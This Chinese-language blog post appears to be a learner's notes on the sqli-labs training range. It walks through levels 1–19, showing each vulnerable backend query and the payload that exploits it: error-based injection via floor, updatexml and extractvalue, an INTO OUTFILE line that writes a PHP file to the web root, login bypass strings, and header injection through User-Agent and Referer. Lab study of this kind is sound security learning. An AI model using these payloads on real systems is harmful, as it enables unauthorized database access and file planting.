想想自己最开始瞎搞,接触到的东西就是sql注入,但是除了网站url后面加单引号就啥也不会了。
这次系统的学完sql注入,也再尝试着去把这些知识学明白,渗透还是要去多练习的,就自己搭了sqli-labs的靶场,记一下学习过程。
不一定按照关卡来,一类的就归在一起了,主要是记录自己学习的东西。
复习一下mysql中的三种注释方式:
- #
- --
- /**/
1-2就是单纯的引号的闭合
第一题后端主要代码$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第二题后端主要代码$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
3-4需要闭合括号和引号
第三题后端主要代码$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
第四题后端主要代码$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
5-6报错注入或盲注
第五题后端主要代码
1 | $id = '"'.$id.'"'; |
三种报错注入方式:
- 通过floor报错
- 通过updatexml报错
- 通过extractvalue报错
floor报错注入原理
语句:union select count(*),1,concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x
语句中用到了几个函数:
rand() 随机生成0-1之间的数
floor() 向下取整
concat() 字符串拼接
count() 计数
group by 分组排序
对语句进行分析:
(select schema_name from information_schema.schemata limit 0,1)
取出第一个数据库名
floor(rand(0)*2)
生成有规律的数字0,1,1,0,1,1,1………..
concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x
拼接出以下字符串取别名x
~db_name0 ~db_name1 ~db_name1 ~db_name0
…….
concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x
以别名x分组排序,这个时候并不能完成报错注入 执行结果如下:
看完整代码
union select count(*),1,concat('~',(select schema_name from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x
加上count(*)
就构成了报错注入,主要是因为在count()和group by进行分组排序计数的时候,默认x的值为主键,~db_name0 ~db_name1 插入新表时,不会报错,下一个~db_name1插入时,由于主键重复,就会报错~db_name1的内容。
updatexml 和extractvalue报错原理
正常情况下updatexml函数的使用方式:UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
报错paylod:updatexml(1,concat(null,(select @@version),null),1);
原理:第二个参数要求为xpath格式的字符串,不符合就报错。最大报错长度32位。
正常情况下extractvalue函数的使用方式:EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
报错paylod:extractvalue(1,concat(null,(select @@version))
7文件写入
mysql能写shell的要求为管理员权限加上secure_file_priv=on
如何查看是否开启:SHOW variables like '%secure%';
查看是否具有读写权限:and (select count(*) from mysql.user)>0
写入文件:union select 1,"<?php phpinfo(); ?>",3 into outfile "F:\\service\\php_study\\PHPTutorial\\WWW\\sql\\sqli-labs\\Less-7\\1.php"
8-10布尔型注入
- 时间判断
- 返回页面判断
相关函数:
substr
length
ascii
sleep
if
比较费劲的注入方式,要自己构造payload一个一个试。
11-17POST型注入
第十一题后台主要代码@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
构造提交的变量闭合语句就可以了
payload:uname=admin'#&passwd=1
第十二题后台主要代码@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
payload:uname=admin")#&passwd=1
第十三题后台主要代码@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
payload:uname=admin' )# &passwd=1
第十四题后台主要代码@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
payload:uname=admin" # &passwd=1
第十五题后台主要代码:
1 | $uname='"'.$uname.'"'; |
payload:uname=admin' # &passwd=1
第十六题后台主要代码:
1 | $uname='"'.$uname.'"'; |
payload:uname=admin") # &passwd=1
第十七题后台主要代码:$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
payload:uname=admin &passwd=1'#
18-19head头注入
源码中对传入的uname和passwd都进行了检查,但是我们可以利用对http请求头中内容从查询$uagent = $_SERVER['HTTP_USER_AGENT'];$IP = $_SERVER['REMOTE_ADDR'];
进行注入。
第十八题后台主要代码:$insert="INSERT INTO
security.
uagents(
uagent,
ip_address,
username) VALUES ('$uagent', '$IP', $uname)";;
利用burp抓包更改User-Agent
payload:'and '1'='1
第十九题后台主要代码:$insert="INSERT INTO
security.
referers(
referer,
ip_address) VALUES ('$uagent', '$IP')";
利用burp抓包更改Referer
payload:and '1'='1
未完待续……
人们只愿看到自己想看到的一切,分不清是非对错,黑白颠倒。–Hades